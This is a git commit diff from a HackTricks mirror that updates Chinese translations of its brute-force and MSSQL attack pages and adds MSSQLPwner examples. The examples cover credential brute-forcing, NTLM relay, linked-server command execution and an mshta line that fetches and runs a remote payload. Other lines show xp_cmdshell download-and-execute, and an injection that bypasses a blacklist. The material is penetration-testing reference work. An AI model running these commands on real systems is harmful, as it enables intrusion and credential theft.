mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['generic-methodologies-and-resources/brute-force.md', 'netwo
This commit is contained in:
Translator
parent
27bf87c993
commit
c9ab1c69bf
4 changed files with 187 additions and 46 deletions
|
|
@ -10,15 +10,15 @@
|
|||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术： <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -240,6 +240,25 @@ use auxiliary/scanner/mongodb/mongodb_login
|
|||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
```
|
||||
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
|
|
@ -409,7 +428,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
|||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ 和 OpenMQ)
|
||||
|
||||
STOMP 文本协议是一种广泛使用的消息传递协议，**允许与流行的消息队列服务无缝通信和交互**，如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。
|
||||
STOMP 文本协议是一种广泛使用的消息传递协议，**允许与流行的消息队列服务无缝通信和交互**，如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ。它提供了一种标准化和高效的方法来交换消息和执行各种消息操作。
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
|
|
@ -460,7 +479,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||
### 在线破解数据库
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 带/不带 ESS/SSP 和任何挑战值)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/无 ESS/SSP，并带有任何挑战值)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希，WPA2 捕获，以及 MSOffice、ZIP、PDF 等档案...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (哈希)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
|
|
@ -489,10 +508,10 @@ john zip.john
|
|||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### 已知明文zip攻击
|
||||
#### 已知明文 zip 攻击
|
||||
|
||||
您需要知道加密zip中包含的文件的**明文**（或部分明文）。您可以通过运行：**`7z l encrypted.zip`**来检查加密zip中包含的**文件名和文件大小**。\
|
||||
从发布页面下载[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)。
|
||||
您需要知道加密 zip 中 **文件的明文**（或部分明文）。您可以通过运行 **`7z l encrypted.zip`** 来检查 **加密 zip 中包含的文件名和文件大小**。\
|
||||
从发布页面下载 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)。
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
|
@ -524,7 +543,7 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
|||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### PDF所有者密码
|
||||
### PDF Owner Password
|
||||
|
||||
要破解PDF所有者密码，请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
|
|
@ -750,8 +769,8 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
|||
1700 | SHA-512 | Raw Hash
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -768,6 +787,6 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
|||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) 轻松构建和 **自动化工作流程**，由世界上 **最先进** 的社区工具提供支持。\
|
||||
立即获取访问权限：
|
||||
今天就获取访问权限：
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||||
|
|
|
|||
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器，它是一个软件产品，主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行，也可以在网络（包括互联网）上的另一台计算机上运行。\\
|
||||
> **Microsoft SQL Server** 是由微软开发的 **关系数据库** 管理系统。作为数据库服务器，它是一个软件产品，主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行，也可以在网络（包括互联网）上的另一台计算机上运行。\\
|
||||
|
||||
**默认端口：** 1433
|
||||
```
|
||||
|
|
@ -28,10 +28,10 @@
|
|||
### **默认 MS-SQL 系统表**
|
||||
|
||||
* **master 数据库**: 该数据库至关重要，因为它捕获 SQL Server 实例的所有系统级细节。
|
||||
* **msdb 数据库**: SQL Server Agent 利用此数据库管理警报和作业的调度。
|
||||
* **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。
|
||||
* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图，任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映。
|
||||
* **Resource 数据库**: 一个只读数据库，存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中，但在每个数据库的 sys 模式中逻辑呈现。
|
||||
* **tempdb 数据库**: 作为临时存储区域，用于存放瞬态对象或中间结果集。
|
||||
* **Resource 数据库**: 一个只读数据库，存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中，但在每个数据库的 sys 模式中逻辑上呈现。
|
||||
* **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
|
@ -83,6 +83,26 @@ msf> use windows/manage/mssql_local_auth_bypass
|
|||
### 手动枚举
|
||||
|
||||
#### 登录
|
||||
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
```
|
||||
|
||||
```bash
|
||||
# Using Impacket mssqlclient.py
|
||||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||||
|
|
@ -150,7 +170,7 @@ SELECT * FROM sysusers
|
|||
```
|
||||
#### 获取权限
|
||||
|
||||
1. **可安全性资源:** 定义为由 SQL Server 管理的用于访问控制的资源。这些资源分为：
|
||||
1. **可安全性资源:** 定义为 SQL Server 管理的用于访问控制的资源。这些资源分为：
|
||||
* **服务器** – 示例包括数据库、登录、端点、可用性组和服务器角色。
|
||||
* **数据库** – 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
|
||||
* **模式** – 包括表、视图、过程、函数、同义词等。
|
||||
|
|
@ -215,6 +235,20 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### Steal NetNTLM hash / Relay attack
|
||||
|
||||
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希值（例如 `impacket-smbserver` 或 `responder`）。
|
||||
|
|
@ -229,6 +263,17 @@ sudo responder -I tun0
|
|||
sudo impacket-smbserver share ./ -smb2support
|
||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||
```shell
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
您可以检查除了 sysadmins 之外，谁有权限运行这些 MSSQL 函数：
|
||||
```sql
|
||||
|
|
@ -340,7 +385,7 @@ For **更多示例** 请查看 [**原始来源**](https://blog.waynesheffield.co
|
|||
|
||||
### RCE与MSSQL用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
可以通过**自定义函数在MSSQL中加载.NET dll**。然而，这**需要`dbo`访问权限**，因此您需要以**`sa`或管理员角色**连接数据库。
|
||||
可以通过**自定义函数在MSSQL中加载.NET dll**。但是，这**需要`dbo`访问权限**，因此您需要以**`sa`或管理员角色**连接到数据库。
|
||||
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
|
||||
|
||||
|
|
@ -352,7 +397,7 @@ For **更多示例** 请查看 [**原始来源**](https://blog.waynesheffield.co
|
|||
|
||||
### 从db\_owner到sysadmin
|
||||
|
||||
如果**普通用户**被授予**`db_owner`**角色，且该**数据库由管理员**用户（如**`sa`**）拥有，并且该数据库配置为**`trustworthy`**，那么该用户可以滥用这些权限进行**权限提升**，因为在其中创建的**存储过程**可以**以所有者（**管理员**）的身份执行**。
|
||||
如果**普通用户**被授予**`db_owner`**角色，且该**数据库由管理员**用户（如**`sa`**）拥有，并且该数据库配置为**`trustworthy`**，则该用户可以滥用这些权限进行**权限提升**，因为在其中创建的**存储过程**可以**以所有者（**管理员**）的身份执行**。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
|
@ -419,10 +464,10 @@ enum_links
|
|||
use_link [NAME]
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果您可以冒充一个用户，即使他不是 sysadmin，您应该检查该用户是否有权访问其他数据库或链接服务器。
|
||||
如果您可以模拟一个用户，即使他不是 sysadmin，您应该检查该用户是否有权访问其他数据库或链接服务器。
|
||||
{% endhint %}
|
||||
|
||||
请注意，一旦您成为 sysadmin，您可以冒充任何其他用户：
|
||||
请注意，一旦您成为 sysadmin，您可以模拟任何其他用户：
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
|
|
@ -448,7 +493,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## 从 SQL Server 连接服务器提取密码
|
||||
|
||||
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码，并以明文形式获取它们，从而授予攻击者可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) 找到。
|
||||
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码，并以明文形式获取它们，从而使攻击者获得可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) 找到。
|
||||
|
||||
为了使此漏洞利用有效，必须进行一些要求和配置。首先，您必须在机器上具有管理员权限，或能够管理 SQL Server 配置。
|
||||
|
||||
|
|
@ -558,7 +603,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,8 +1,8 @@
|
|||
# MSSQL AD 滥用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -21,7 +21,73 @@
|
|||
|
||||
## **MSSQL 枚举 / 发现**
|
||||
|
||||
在这种情况下，PowerShell 模块 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 非常有用。
|
||||
### Python
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) 工具基于 impacket，允许使用 kerberos 票证进行身份验证，并通过链接链进行攻击。
|
||||
|
||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||
```shell
|
||||
# Interactive mode
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
|
||||
# Interactive mode with 2 depth level of impersonations
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
|
||||
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||||
|
||||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||||
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
|
||||
# Issuing NTLM relay attack on the SRV01 server
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||
|
||||
# Issuing NTLM relay attack on the local server with custom command
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
|
||||
# Executing direct query
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
|
||||
|
||||
# Retrieving password from the linked server DC01
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
|
||||
|
||||
# Execute code using custom assembly on the linked server DC01
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
|
||||
|
||||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||||
|
||||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
|
||||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
|
||||
```
|
||||
### 在没有域会话的情况下从网络枚举
|
||||
```
|
||||
# Interactive mode
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||||
```
|
||||
---
|
||||
### Powershell
|
||||
|
||||
在这种情况下，powershell 模块 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 非常有用。
|
||||
```powershell
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
```
|
||||
|
|
@ -74,12 +140,12 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
|||
```
|
||||
### MSSQL RCE
|
||||
|
||||
在 MSSQL 主机内部**执行命令**也可能是可行的。
|
||||
在MSSQL主机内部**执行命令**也可能是可行的。
|
||||
```powershell
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
检查**以下部分提到的页面**以了解如何手动执行此操作。
|
||||
检查**以下部分**中提到的页面以了解如何手动执行此操作。
|
||||
|
||||
### MSSQL 基本黑客技巧
|
||||
|
||||
|
|
@ -89,9 +155,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
|
||||
## MSSQL 受信任链接
|
||||
|
||||
如果一个 MSSQL 实例被另一个 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库拥有权限，他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接，在某些情况下，用户可能能够找到一些配置错误的数据库，在那里他可以执行命令。
|
||||
如果一个 MSSQL 实例被另一个 MSSQL 实例信任（数据库链接）。如果用户对受信任的数据库具有权限，他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接，在某些情况下，用户可能能够找到一些配置错误的数据库，在那里他可以执行命令。
|
||||
|
||||
**数据库之间的链接甚至可以跨森林信任工作。**
|
||||
**数据库之间的链接甚至可以跨越森林信任。**
|
||||
|
||||
### Powershell 滥用
|
||||
```powershell
|
||||
|
|
@ -133,7 +199,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
|
|||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
注意，metasploit 只会尝试在 MSSQL 中滥用 `openquery()` 函数（因此，如果您无法使用 `openquery()` 执行命令，您需要尝试手动使用 `EXECUTE` 方法执行命令，详见下文。）
|
||||
注意，metasploit 只会尝试在 MSSQL 中滥用 `openquery()` 函数（因此，如果您无法使用 `openquery()` 执行命令，您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令，更多信息见下文。）
|
||||
|
||||
### 手动 - Openquery()
|
||||
|
||||
|
|
@ -164,7 +230,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||
|
||||
.png>)
|
||||
|
||||
您可以手动无限期地继续这些受信任链接的链条。
|
||||
您可以手动无限期地继续这些受信任链接链。
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
|
|
@ -195,16 +261,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -10,18 +10,18 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
